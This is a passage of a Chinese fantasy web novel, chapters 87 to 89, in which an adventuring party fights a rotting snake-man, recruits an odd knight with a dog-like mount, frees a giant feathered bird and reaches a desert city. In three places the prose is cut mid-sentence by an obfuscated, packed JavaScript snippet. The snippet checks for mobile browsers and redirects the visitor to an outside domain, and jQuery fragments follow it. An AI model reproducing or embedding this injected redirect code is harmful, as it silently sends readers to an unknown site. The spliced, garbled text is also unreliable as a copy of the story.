“你知道吗?在那个美好的时刻,我的梦想悄然发生了变化,这个世界得允许任何人改变的,也允许各种各样,大大小小的梦想存在。” 她的声音温柔而坚定,像是一种有增效的魔法,嬴犽呆呆的脸上发生了细微的变化,黛芙妮认为他听懂了自己的意思。 于是放开按在他肩头的手,重新捡起盘中的汤勺,将美味的蘑菇汤送进嘴里,脸上露出夸张幸福的微笑。 “好男儿和好女儿都志在四方!妈妈等着你们将公主救回来,请她到家里做客,再做一次美味蘑菇汤!” 87.勇气的长枪依旧向前(十) 嬴犽坐在小窗下,黛芙妮站在他身后,嘴里念念叨叨,拿着一把银剪刀在他头上比划。 “咔嚓——” “咔嚓——” 一缕缕头发顺着他的长袍滑下,落到洒满阳光的地板上。 黛芙妮捧着他的脑袋左看右看,满意地不住点头。 “还是这样好看,露出眼睛和眉毛!好小子!精神多了!” 她将嬴犽身上的袍子拎起来抖落抖落,又拍拍他的肩头。 “好啦,该吃的饭也吃了,该剪的头发也剪了,是时候出发上路了。” 没有了额发的遮挡,阳光似乎变得刺眼了许多,嬴犽一时还不能适应,他低垂着睫毛没有直视黛芙妮,只是从喉咙里发出轻“嗯”。 为了抓紧时间做完任务找到魉,夏烛她们不打算在黛芙妮温暖的家中多停留一晚,趁天色还明,抓紧赶路。 黛芙妮用布袋子装了很多干面包和奶酪,给她们当作路上的干粮,并一路将六个人送到了村庄口。 她站在夕阳下,微风里,高举着双手,瞳光闪闪,大声喊着什么。 风枫单手圈住嬴犽的脖子,他始终埋头向前一言不发,问他不回头看看黛芙妮在说什么吗? 他声音闷闷的,倔强地摇了摇头。 “不用了,我都听到了。” 无非就是“一路平安”“早日归来”“别忘了好好吃饭,好好睡觉”。 这些他本来就知道,根本不用她提醒。 风枫点了点头,说也是啦,她们来这里就是为了离开,黛芙妮不一样,她只会永远停留在梦境中,说得越多,也许就越难往前走。 嬴犽伸手撩了撩自己的头发,果然还是不适应,夕阳的光刺得他眼睛发酸。 周围的地形开始变得野蛮起来,人烟也逐渐稀少,在太阳完全落山后,她们终于进了一片林子。 白日炎炎,这会儿进了树林温度骤然下降,风一吹草叶凄凄凉凉地响,夏烛不自觉缩了缩脖子,好在长袍御风,人多走在一起也热闹。 风枫随身抓出一把种子,然后各自手心就托起一盏明晃晃的津津灯。 姬阴秀一手举着灯,一手捏着羊皮卷道:“出了这片森林,应该就能到盐湖沼泽了,如果不出意外的话,今晚可以不用在这里扎营…” 一般说出这种话,意外响应号召马上就到。 惨叫声从林子深处传来,伴随着大地隐隐震颤,树顶摇晃,惊飞鸟雀,像是有什么庞然大物正往这边而来。 众人立马围靠在一起,进入警戒状态。 “啊啊啊啊啊啊啊啊——” “救命啊!!” 前方树丛冲出一名身材魁梧的男子,腰间一柄宝剑,亮银铠甲护体,逃跑的身姿慌乱中不失挺拔。此人长得浓眉大眼,五官立体,可是无论从哪个角度看去都十分怪异,完全和夏烛她们不在一个次元。 眼见着前方多出一队奇形怪状的人,男子仿佛看见了救星,大叫着朝众人奔来。 “诸位勇者!救命啊!” 他越是靠近,大地动摇的就越是厉害,男子一个纵步闪躲到了离得最近的嬴惑身后,毫不客气地一把抱住他的腰,当作人形挡箭牌。 “滚开啊!你谁啊你?”嬴某人花容失色,嫌弃地盯着自己腰间的粗壮胳膊疯狂肘击身后之人。 “介绍什么的,容后再谈,勇者行行好,先救我狗命吧!” 男子伸手往前方树丛里一指。 地动山摇间只见一只巨型生物排山倒海一路压倒树干无数,甩着两只大象似的耳朵,和一条血红长舌奔来。 来者不善,单从那犀利的眼神和震耳欲聋的怪叫就能判断出此物的危险性。 姬无愁率先挡在众人身前,掌心向下,十指微张,旋出一对锋利的弯月冰刃,她收紧指节,冰刃划过一道有切骨之寒的冷光。 正当她准备抬手对着巨物扔出手中武器的时候,身后却传来一声呼喊。 “喵喵!” 先前冲出来的陌生男子一把甩开嬴惑,闪到姬无愁身前,张开双臂阻挡了她的动作。 “欸欸欸!这位勇者手下留情!喵喵不是怪物,是我的坐骑!后面,那东西还在后面!” 听他叽里咕噜说了一通,姬无愁收起了手里的冰刃,抬起眼皮看了他一眼。 仅仅一眼,那人忽然像宕机了一样,下巴一松,嘴巴微张,眉毛上扬,眼神还涣散起来。 “这位勇者,你好漂亮。” 姬无愁一愣,下一秒却皱起眉头,身形一闪从男子眼前消失。 “啊?”只留他站在原地,呆呆看着眼前一个硕大的毛茸茸的棕色屁股因为刹不住车疯狂甩尾而直直向自己压过来。 “喵…喵!” 男子试图制止坐骑,但那庞大的身躯还是泰山压顶将他一屁股砸进了地面。 “救…救一下…”一只胳膊拼命从圆墩墩底下伸了出来,朝一直站在旁边看戏的夏烛挥了两下。 夏烛左看看风枫,右看看嬴惑,正在考虑要不要去施以援手,耳朵却灵敏地捕捉到,一人一兽来的方向,另一道诡异的嘶嘶声正在快速靠近。 她将小剑横在身前,紧紧盯着黑乎乎的树丛。 “来了。”姬阴秀冷声道。 随即一道细长的身影从半空中滑行而出,伴随着令人胆战的嘶嘶声。 夏烛皱起眉头,一股腥气扑鼻的恶臭快速在空气中蔓延。 那东西重重的掉落到地面上,在众人的视线下不紧不慢地抬起头,油腻成塑料油布的打结长发中露出一只鬼蜮一般阴毒的眼睛,上半身赤裸着,下半身却生着一条臃肿腐烂的蛇尾。 是个人首蛇身的兽人。 不过和她之前在寂静之地见过的蛇人不同,这一只整体呈现出一种瘫软霉烂的气质,属于人类的上半身似乎无比沉重,无法经由蛇尾撑起,只能整条身子都匍匐在地面上,唯有一颗头颅勉强抬起。 它裂开嘴角,吐出猩红的舌头,快速颤动,贪婪地吸取空气中生人的气息。双手配合下肢朝几人缓慢地爬来。 夏烛发现蛇人的尾巴上沾满了脓疮,光是拖行一段距离,身后就留下了一地脓液,如果地面再有些石块凹凸不平,那些糜烂的肉条就会被剐蹭下来。 像是每一个游戏中的NPC一样,蛇人边靠近,边吐露着自己的台词。 它的声音沙哑,带着空腔感,似乎很久不曾开口。 “那些勇者…将我囚禁在地洞之下方寸之地…日日夜夜蜷缩成团,不得翻身…长出一身褥疮,浑身上下无一块好肉…” 它轻轻摇摆着头,表情痴醉。 “哈~新鲜人肉的味道…就让你们强劲有力的身体来祭奠我失去的血肉吧…” 说完,它双手撑地朝位于中间的夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196802|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烛扑来。 蛇人并不像它表现的那样萎靡,速度反而十分迅疾,眨眼间就已经来到了夏烛身前。 一旁的风枫看着夏烛毫无反应,居然呆楞板直地站在原地一动不动,心里一着急,挥出藤蔓就要缠绕到蛇人的尾巴上,却被其灵活地挣脱了。 “阿烛!” 夏烛终于有了动作,她眨了眨眼,迅速将小剑收回腰间,马步一扎,髋骨旋转,蓄力摆腿一脚踢在蛇人脸上,将它整个踹飞。 她收回腿,小步走到旁边的草丛里,疯狂蹭着鞋底。 “好恶心。”夏烛盯着自己的脚尖淡淡地说。 不能弄脏小剑。 风枫见状挠了挠头,阿烛有时候真的蛮吓人的。 这下姬阴秀也不得不低头看了一眼自己的轩辕剑,再看看瘫在地上一动不动的蛇人。 好像确实很恶心。 他果断地收剑回鞘。 好在这个怪的实力不如它看上去那么吓人,天赋点全都点在了速度上。而这一切又都逃不开长了翅膀的嬴犽鹰一般的眼睛。 到底还是物种克制。 几人收起武器就地取材,默契配合,在不知名男子的啧啧赞叹声中三下五除二地解决掉了小怪。 风枫得意洋洋地追着嬴犽问他。 “小乌鸦,你到底是个什么鸟啊?” 后者耳廓通红,眼神躲避,一言不发。 将蛇人的尸体扔在一旁,众人赶紧往前走了几百米,等那股恶臭消散了许多,才准备停下休整。 ”话说,你还要跟着俺们到什么时候,你到底是谁?” 风枫抱着手臂质问眼前画风十分离奇的一人一狗。 没错,这只叫喵喵的坐骑,无论从哪方面看都像一只体型巨大的狗狗。它吐着舌头喘着气,顶着一张无比邪恶又有些可爱的脸将一旁的主人从头舔到尾,导致男子湿漉漉的头发紧紧贴着一颗方方正正的头,看上去像谁刚从水里泡发出来的大脚趾。 “也对也对,还没做自我介绍呢。”男人一脸谄媚地扯出自己的衣襟兜在头上随便擦了擦,他指了指身边的坐骑道:“这是魔兽喵喵,我最忠诚的伙伴兼坐骑。” 喵喵听懂了主人正在介绍自己,骄傲地仰起大脑袋,对着天“wer wer”的怪叫了两声。 男人接着又拍了拍自己腰间的宝剑,一种不知从哪里来的金光突然笼罩在他身上,夏烛皱着眉头看男人缓缓展露出一个有点恶心而且诡异的微笑。 “说来惭愧,我的名字普普通通,说出来怕被大伙儿笑话…” “哎呀!自信点啦小火汁,就算你叫狗蛋这里也没有人会嘲笑你的啦。”风枫十分仗义地想拍拍他的肩膀,不过瞥了一眼还有些黏糊糊铠甲后又笑嘻嘻地收回手。 男人泪光闪闪,貌似十分感动,觉得眼前都是一群无敌大好人。 “既然如此…我叫维瑟里昂·赛拉西里斯·霜之哀伤,如诸位所见,也是一名奔波在拯救公主道路上,普普通通的平凡勇者,相逢即是缘,如果不介意的话大家可以叫我西里斯呐~” 众人:“…” “嘶——”风枫倒吸一口凉气,觉得自己的拳头怎么突然有些火热,她转头看了一眼大家,表情隐忍十分扭曲,问道,“俺能揍他吗?” 维瑟里昂·赛拉西里斯·霜之哀伤?这货根本就是魉吧!要不要再明显一点! 88.勇气的长枪依旧向前(十一) “有什么问题吗?”西里斯一脸茫然地望着风枫。 “当然没有。”后者努力堆出礼貌的微笑。 西里斯忽然腼腆地笑了,脸颊上浮出两片可疑的红晕,憨厚地挠挠头说:“啊是这样的,本来我和喵喵早就从兽人村庄出发了,只是一路上单枪匹马,遇到了很多类似今天的危机,我的意思是,既然大家都有一个目的…不如结伴同行怎么样呢?我…” 风枫伸出一只手,制止了他继续说下去。 “你等等。” 然后她迅速回到队伍里,六个人头抵着头围成一圈,开始商量起来。 风枫:“这是魉吗?这是魉吧!” 夏烛:“主角味道好浓。”掩鼻皱眉。 姬无愁:“勇者游戏和一人一狗仗剑天涯,世界尽头打败魔王拯救公主,逻辑上是正确的。” 嬴犽:“杀了他?” 剩下五个人纷纷将视线投向小乌鸦。 一阵刺耳的沉默。 姬阴秀率先开口:”其实我还挺想做完这个任务,看看未来会怎么样的。” 夏烛举手:“梦里的时间流速对比现实世界不是相对静止的吗?” 四个人点头表示肯定。 嬴惑:“…”抱着手臂退出了群聊。“随便你们。” 于是风枫作为代表带着爽朗的笑声重新走向西里斯。 “嗯…你们商量的怎么样了?我能加入吗?” “当然当然哈、哈、哈…”风枫皮笑肉不笑,“不仅要加入还得把你拴在裤腰带上,否则到时候天涯海角,上哪儿找去。”风枫咬牙切齿。 “啊?什么拴起来?”西里斯表情呆滞。 “没什么,你听错了。” 就这样,勇者维瑟里昂·赛拉西里斯·霜之哀伤加入了冒险小队。六个人心照不宣,偶尔看向这个嘴里常念叨圣剑骑士,无上荣光世界和平的年轻勇者,就像在看一个将死之人。 西里斯殷勤的领着喵喵到处收集枯树枝,在临时营地中央升起篝火,将挂在喵喵身上的包裹取了下来,把里面的食物分给众人,甚至掏出一口锅,到小河边打了净水,撕下面包块扔进锅中煮软。 他似乎有使不完的牛劲,上蹿下跳比风枫还不安生,做这些的时候常常露出一身腱子肉。 风枫捂着嘴偷笑,说:“男人还是有劲儿的好,不像某些人光有花架子,实际上弱不禁风什么也做不了。”眼神在赢惑和西里斯之间来回交换,然后怅然摆头。 气得嬴惑一个劲儿翻白眼。 西里斯却不以为然,义正言辞地站到他面前,居然回击了风枫。 “欸,风小姐此言差矣,人各有志,嬴惑兄并非一无是处,他同我一样是一个美男子,美男子的事不叫无用,想必他一定也有过人之处。” 现在轮到风枫翻白眼了,但是嬴某并不领美男子西里斯的情,他咬牙切齿盯着那个强壮如牛的背影,心里默默想着路上一定找到机会先杀了这个胸大无脑的男人,到时候直接出梦,叫夏烛天天念叨着拯救什么公主。 几人打算在森林里休息一晚,明天一早再出发,西里斯又从他那个看上去平平无奇,实则大有乾坤的牛皮口袋里翻出睡袋,大家一人一个。 风枫疑惑地问他:“你一人一狗,带这么多睡袋干什么?” 西里斯一愣,挠着鼻子恍然大悟:“对哦,我自己也用不着这么多。可是在新手村,那个商人老爷爷说居家旅行必备,还说自己手头实在紧,这年头生意不好做,他已经很久没吃饱饭了,我就拿十袋蜂水银跟他交换了这些睡袋。” “不止睡袋呢!”他一拍脑门,从牛皮口袋里哗哗倒出一堆生活用品,镜子、烧烤架、甚至有一个电吹风一样的玩意。 风枫目瞪口呆叹为观止,鼓着掌,学着西里斯的语气:“不止睡袋呢。” 不过有了他这些东西,众人也能在野外睡个好觉了。西里斯还主动请缨要为各位守夜,没人表示阻止,他就乐呵呵地爬上喵喵毛茸茸的背,盘腿抱着怀里的剑,眼观六路耳听八方去了。 鸟鸣啁啾,清晨的第一缕阳光筛过树梢,照在夏烛脸上。她倒不是被太阳晒醒的,而是耳朵边总听到一个雄浑的“嘿咻”声,怪异的重复不停。 她抬起眉毛,朝空地上看了一眼,西里斯不知道从哪里摘了一筐蘑菇,正在架锅生火。 “啊…”他瞥见睡眼惺忪的夏烛,热情地打起招呼,“你醒啦,早餐喝蘑菇汤怎么样?” 夏烛茫然地点点头。 右边传来冷哼。 “无事献殷勤。” “欸,嬴惑兄,你这么说就不对了,我们都是一个小队的人了,以后大家都是朋友,互相照顾照顾不是应该的嘛。”说着又转头问夏烛,喜欢清淡的还是浓郁的。 被他们这一闹,其余人也都不再睡了,快速收拾吃饭,出发上路。 沿着地图上标记的位置,一行人穿过了郁郁葱葱的森林,拨开树顶垂下来的藤条,一面剔透如镜的大湖铺陈眼前。 在湖水之上,天与地都显得辽阔无比,绿树环抱,微风轻拂,就是不见鸟影。 西里斯激动地冲出队伍,诗兴大发高举双臂赞美自然,喵喵跟在他身后卖力地怪叫。他沿着湖边趴了下去,捧起湖水就送进自己嘴里,喵喵也学着他的样子,俯下身去。 “呕——”(“wer o!”) “好咸!”(“wer wer!”) 嬴惑好整以暇地站在一旁,“你以为盐湖的’盐’是哪个字呢?” 风枫找了块大石头,占据制高点,手指并拢遮盖在眉毛上巡视了一圈盐湖。 “这哪儿有什么鸟?俺怎么连一根羽毛也见不到?” 湖面宽阔平静,连风过也不起一丝涟漪,像是在周围张开了一个无形的屏障,将一切外物隔绝,甚至见不到任何落叶飘浮在水面上,更别说其他活物。 “中间好像有个小岛。”夏烛眯起眼睛,指了指湖心一块隆起的绿色小丘。 小丘的形态有些奇怪,远远看去,边缘并不清晰,而是像开了虚化一样有毛边,整体轮廓圆润也不像是自然突出的冰山一角。 “很不对劲!”风枫摸着自己的下巴若有所思。 夏烛正想用什么东西试探试探,原本乖乖蹲在一边的喵喵却突然开始大叫起来。头冲着湖中心的绿色小岛,大耳朵上下翻飞,甚至着急地在原地转了好几个圈,差点把西里斯挤下水去。 “好狗狗,小声点行不行,吵得俺脑袋疼。”风枫伸手安抚着喵喵,余光却瞥见湖中小岛小幅度地动了一下。 夏烛也发现了不对,下意识将手按在腰间的小剑上。 绿岛正在急速膨胀,原本还算顺滑的边缘也渐渐耸立出波浪形的线条,颤颤巍巍几下,小丘变成了座半大的山坡,夏烛才看清,那些覆盖在它之上层层叠叠的不是什么植物,而是碧绿色的羽毛,那东西抖动了几下,羽毛似乎焕然一新,在阳光下闪烁着丝绸般的光泽。 绿色的不明生物慢悠悠地三百六十度调了个头,山一样的背面居然长着一双大而无神的眼睛。 “你们是谁? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16201629|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “来这里做什么?” “又要往哪里去?” 洪钟般的声音从湖心传来,在湖面上来回荡了几次才慢慢散进四周的森林之中。 上来就是一连串的问题,反客为主。风枫和夏烛对视了一眼,然后叉着腰上前一步,也得彰显气势。 “你就是天问鸟?” 绿色山丘沉默了一瞬,身形又变大了不少。 “天问鸟?世人是这么叫我的?也对,我确实日日夜夜都在此处,质问上苍。”天问鸟的瞳孔,是一种好看的琥珀色,这和它粗旷的身躯有些反差,像两颗亮晶晶的宝石嵌在了山丘上,“你的问题我回答了,但你们还没告诉我,来此处的目的是什么?” 风枫眼珠子滴溜一转,像是没听到它的话一样继续问道:“天问鸟,你质问上苍什么呢?” “质问她什么呢?”大鸟缓缓仰起头,漂亮却无神的眼睛望着头顶的万里长空。 “问她为什么给了我翅膀,却不能飞翔。” “为什么拥有世界上最能抵御严寒的羽毛,却生长在最炙热的南方。” “我在这里呆了多少年岁,已然不记得了,看这汗水和泪水竟然经年汇集成了湖泊,上天却还是没有给我答案,我哪里也去不了。” 一直静静站在旁边的西里斯忽然汗毛竖起,上下牙打颤,非常慢的转过头和身边的喵喵绝望相视,觉得现在正有一只长满毛的肌肉鸟,正大汗淋漓地在他胃里健身举铁,他悄悄捂住嘴巴,忍住想要呕吐的冲动。 众人没有答话,原来天问鸟的羽毛有御寒的功效。 “你长有腿吗。”姬无愁突然出声。 “什么?可我是一只鸟。”天问被呛,不解地追问,鸟类都是自由自在飞翔的。 “所以你有腿吗?” 夏烛看看姬无愁,再看看天问鸟,后者陷入了思考和沉默,下一秒它舒展开巨大且厚重的翅膀,将身体彻底暴露在众人面前。 在那些冗杂繁多的羽毛下面赫然生出两根柴棍一般的伶仃细腿,与它壮硕的身躯迥然有别。 “是的,我确实有腿,可是它们细小无力,如何支撑我远行呢?” “既然羽毛无用,又何必执着于它们带来的这个表面身份呢?我猜你的身体并不是臃肿,累赘的是一身羽毛吧。”夏烛捡起脚边的羽毛,是刚刚从天问鸟身上掉落下来的,针羽厚实绵密,确实是御寒的法宝,怪不得任务要求收集,她们的最终目的地可是冻海。 天问鸟仿佛遭受了巨大的打击,它愕然看着眼前这群相貌奇怪的生物,夏烛和姬无愁的话于它就如金篦刮目。从前太执着于身体上背负的种种矛盾,因而生出一点对命运不公的感叹,就闷着头越陷越深,只会一味地对着天空诘问,却从不低头照见自己。 原来问题还有这样的解法。 如此简单。 天问鸟仰头大笑起来。 “原来如此,竟然如此!” 它挥舞着翅膀吹起层层波纹,朔风淅淅晃动周遭的树丛,天问鸟悍然挣脱束缚,褪下全身的羽毛,挺起它瘦筋巴骨的胸膛,迈开干枯如柴的双腿,像一位忽然就大彻大悟,形销骨立站在过往因果之上的仙人,大步朝众人奔来,地动山摇。 夏烛她们纷纷往旁边散开,见天问鸟头也不回跑进了森林当中,留下一句天外传音似得道谢。 望着湖中心堆积成山的羽毛,夏烛眯起眼睛,勾起嘴角,从此小鱼滩大陆上多了一只潇洒不羁,不衫不履的秃鸡。 能够掌握自己命运的,一只秃鸡。 89.勇气的长枪依旧向前(十二) 头顶的烈日把脚下沙粒烤得又干又燥。 夏烛想象自己是一颗板栗,在铁砂中被来回翻炒,直到外壳酥脆爆裂,露出里面无力反抗妥协投降的软糯果仁儿。 炎炎国的传送点尤其刁钻,不在人来人往的城池中,反而设置在了一望无际赤地千里的沙漠里。这种先决条件仿佛是那位传说中的国君傲慢的考验。 无法承受恶劣气候的旅人是不得进入我国领地的。 一行人已经在沙漠中走了很久了,她们没有提前想到会有这样的情况发生,以至于随身携带的水资源全都耗尽,仍然没有看见人烟。 姬无愁的相力为万年不化的坚冰,就算用姬阴秀的掌中火去灼烧也无济于事,好在他本人设定为炎炎国国民,基因里携带着不畏酷暑的编码,还能当做精力充沛的开道先锋。 据夏烛观察,头号嫌疑人西里斯切切实实是个十分奇怪的人。身边拥有魔兽坐骑,非但不靠喵喵赶路,选择靠自己的双腿,还舍不得它在如此炎热的天气下背负太多行李。 把那百宝箱似的牛皮袋挂在了自己身上,一步一个沙坑地艰难前行,分给他的那点儿水都进了喵喵的嘴里。 甚至在看到嬴犽为了给大家遮阳而展开翅膀的时候,忿忿不平地跳出来指着喵喵说:“为什么都是兽人国本地人兽,喵喵就只能怪叫,而嬴犽小哥却能这么像人!”然后又自顾自趴到喵喵身上,掀起它的大耳朵悄咪咪地说着一些安慰的话。 夏烛没养过宠物,却也能理解他的心情。 但一直自诩人上人的赢惑就根本不能共情,他冷笑一声,在烈日下头还能保持优雅。 “既然嫌弃这只蠢狗是纯种畜生,为什么不直接找个能日行千里的兽人当坐骑呢?”他理所当然的想到了自己留在嬴家的驺吾。 这下连夏烛也忍不住向他投去不满的目光。 嬴惑挑眉,“怎么了?畜生指得家畜禽类,我又不是在骂人。” 西里斯听完他的话就开始惨叫,跳起来捂住喵喵的大耳朵,不让它听到这些伤狗心的话。他惊恐地回望嬴惑。 “你这是什么万恶的地主思维!” 嬴惑皱眉,“难道不是吗?出钱能解决一切问题,买下一只兽人不在话下。如果你需要的话,我不介意帮你付清这点微不足道的钱。” “喵喵是我的朋友!”西里斯大叫。 “朋友?它甚至说不了人话,还无法履行自己作为坐骑的职责。” 西里斯低下头去,轻轻安抚着因为炎热而止不住喘气的喵喵。 “我不才要喵喵为我做什么,它只要开开心心活着就好。”西里斯猛地抬起头来,看向嬴惑,“我很好奇,能说出这种话的你是否把夏烛小姐她们当作朋友呢?” 嬴惑显然被西里斯的话堵得张不开嘴,他的表情像是刚刚不小心吃下了一只苍蝇,在发现夏烛甚至停下了脚步站在原地回头看他,似乎也在等待这个问题的答案的时候,嬴惑有一瞬间的慌张。 他偏头看向不远处的风沙,声音闷闷地说道:“各取所需而已。” 风枫刚想反驳,她们才没有利用他身上的什么价值,又忽然想起一路走来确实把嬴惑当成了ATM,于是没有开腔,继续赶路。 嬴惑回过头,却发现夏烛已经转身走出了很远,白金色的长袍在半空中起伏,背影里竟然有些说不出的决绝,他忽然觉得有些害怕,心里空荡荡地像是风沙吹了过来。 只有西里斯还停在原地等他。 这个奇怪的男人一脸意味深长地看着嬴惑,细细品味着他脸上的表情,暗自觉得自己扳回了一城。西里斯贱兮兮凑到嬴惑身边对他频频挑眉。 “嬴惑兄,我可是把你们都当作朋友的哦~不过现在看来,你似乎伤了我另一个好朋友的心。”他啧啧啧地摇头晃脑,然后领着喵喵去追赶夏烛她们。 留下嬴惑自己,感觉大脑被浆糊糊住了。 什么你的我的,怎么听起来这么让人不爽呢。 好在几人在日落之前进入了炎炎国的烙铁城,由于主线任务变更为“将天问鸟的羽毛锻造成羽衣”,她们进城之后就立马打听了一下,得知原来城中任何一家锻造铺都能制作羽衣。 这下事情就好办了,连着赶路几天,刚好能趁锻造羽衣的间隙好好休息一下。 甫一进城就碰见一队穿着铠甲的士兵,正在拉扯一个戴头巾的女人。 女人的嗓门很大,左手烧火棍右手撮箕,不断叫嚣着什么,看样子正在据理力争。周围已经围了一群看好戏的观众,瞧那女子的姿态不是能被轻易欺负的。 她虽然丝毫不畏缩,身形也不算单薄,可面对五六个持械的士兵,总还是双拳难敌四手。夏烛往那人群中看了一眼,忽然想起姬阴秀羊皮卷上的支线任务。 她回头瞅了瞅身边的人,果不其然,姬阴秀面色恍惚地盯着前方,手按在轩辕剑上,嘴角轻轻抿起,那模样让夏烛忍不住想起曾在轩辕丘的匆匆一瞥。 “既然你不按上头命令乖乖交出人,也交不上多余的粮食,那就自己跟我们走!”领头的士兵见言语劝说无效,就准备上手抓住女子,却见她支起纤细的颈脖,一副视死如归的表情。 “我哪儿也不去!除非你们现在就杀了我!” 见状,那些当兵的也不再忍耐,抽出腰间的利剑寒光一闪,可惜还未完全出鞘,就被另一道光华剑气给掀翻在地。 人群呼喊着散开,女子不知所措地站在原地,看着周围一圈人仰马翻。 夏烛也被那道金光给晃了眼睛,她再次睁眼的时候,发现姬阴秀已经不在自己身边的了。 “你想学剑术吗?” “什么?”莉利娅被一道清冷的声音惊醒,转过头,灼灼的阳光刺得她眯起眼皮,说话的人高出自己太多,她不得不抬起手遮住光线,才好看清他的面容。 “你想学习剑术吗?学了剑术也许下次再遇到这样的情况,就有反抗他们的能力了。” 莉利娅终于看清了那人的模样,和他的声音很像,只一眼看上去辨不出性别,却是乱坠天花似的美丽。 她还从未见过长得如此出尘的人。 认真思考了几秒,莉利娅毅然决然重重地点下头。 随后他们兵分两路,由莉莉娅带领夏烛嬴惑和姬阴秀去城中最好的旅馆下榻,而另外四人则将大家的羽毛收集起来,拿去找间锻造铺下订金,做羽衣。 “这家就是城中最好的旅馆了。”莉利娅将夏烛他们带到了一家庭院式的旅馆中,嬴惑自觉去付钱入住,拿着一串钥匙回来,递到了夏烛的手上。 他似乎期待能和她对上视线,但夏烛始终低着头,不过她把此行为归结于头上的兜帽太重。 正好风枫她们也回来了,一行人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16208534|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被旅馆的侍者带到了属于他们的庭院里。 这家店的布局有点类似四合院,大大小小的院落坐落在一片小山坡上,非常适合成群结队出行的勇者们,当然了,服务和环境一流,价格也不会次,这样的冒险小队中,往往有一个腰缠万贯的人族。 “锻造铺的店主说羽衣的工序繁杂,至少得十天。”风枫想起老板的叮嘱。 姬阴秀默默点了点头,然后对着一旁的莉莉娅道:“十天之内,我会教你一套剑术,虽然比不上这里有名的剑术大师,但自保绰绰有余。” 莉利娅一脸兴奋地点点头。 姬阴秀将目光从她的脸上移开。 “明天早上八点,算是第一天,今天谢谢你为我们找到下榻之所,早些回家吧。” “不,是我该谢谢你们才对,救了我一命,还要教我防身之道,我莉利娅活了大半辈子,头一回这么幸运!” 女人豪迈地朝几人鞠躬道谢,提着裙摆飞奔离去。 除了有任务在身的姬阴秀,其余成员算是落得清闲,风枫提前一晚约好,明日睡到自然醒再去城中逛逛。 可是日上三竿,几人的房门始终紧闭,瞌睡虫快要从房间爬到庭院里了。 只有姬阴秀早早起来,天色微微,他就着还未落下的月光练起了剑,打起了坐,觉察出同伴们连日奔波必然会睡上一个懒觉,又默默转去了前厅,替众人预定了午后的“早餐”,然后独自一人坐在庭院的石凳上,用手里的轩辕剑大材小用削着一根木棍,等待莉利娅。 八点过了一刻钟,那个风风火火的女人才姗姗来迟,她像是一路跑来的,扶着膝盖大口喘着粗气,额发被汗湿打着卷贴在脑门上,脸蛋红红的,看上去气色很好的样子。 “对不住了!忙完家里的事才出门又遇到了些麻烦!不是故意第一天上课就迟到的!”她一个劲儿地和姬阴秀道歉,还一口一个老师地叫着他。 姬阴秀脸上没什么表情,只是点了点头,告诉她没关系。 “对了老师!这个给你!”莉利娅之所以这么累,是因为她的肩膀上还扛着一大袋土豆,她豪气地将土豆放到姬阴秀面前,“这是我挑出来个头最大,品质最好的一批了,希望你不要嫌弃。” 姬阴秀看着地上一整袋红皮土豆,就算是队里有七个人一天三顿都吃也得吃到猴年马月去,他摇了摇头说不用拿东西给他的。 话刚说完,莉利娅就涨红了脸,叉着腰问姬阴秀是不是嫌弃这些乡下玩意儿,等明日,她重新选点精细的物件再送来。 姬阴秀眨了眨眼睛,最后无奈地答应收下土豆。 “这些就很好,明日也不必送,不用麻烦了。”他想了想努力扯出一个标准的微笑,这还是跟夏烛学的,客气礼貌又不让人觉得过于轻浮,他不想让莉利娅觉得自己嫌弃她的东西。 虽然姬阴秀和夏烛在社交方面半斤八两,但一个敢教,另一个敢学。 “好了,开始吧,这个给你。”姬阴秀将手里削好的木棍递给了莉利娅,看着她如获珍宝般双手捧过,眼神亮晶晶地说:“老师你真贴心!还帮我准备好了道具!老实说,出门前我还在想要不要把家里的烧火棍拿上呢!这不正好!谢谢你!” 贴心。 姬阴秀听到她的夸词,心中不免产生了些异样的感情,雪色的长睫将眼底的波动全然盖住,没有人会发现。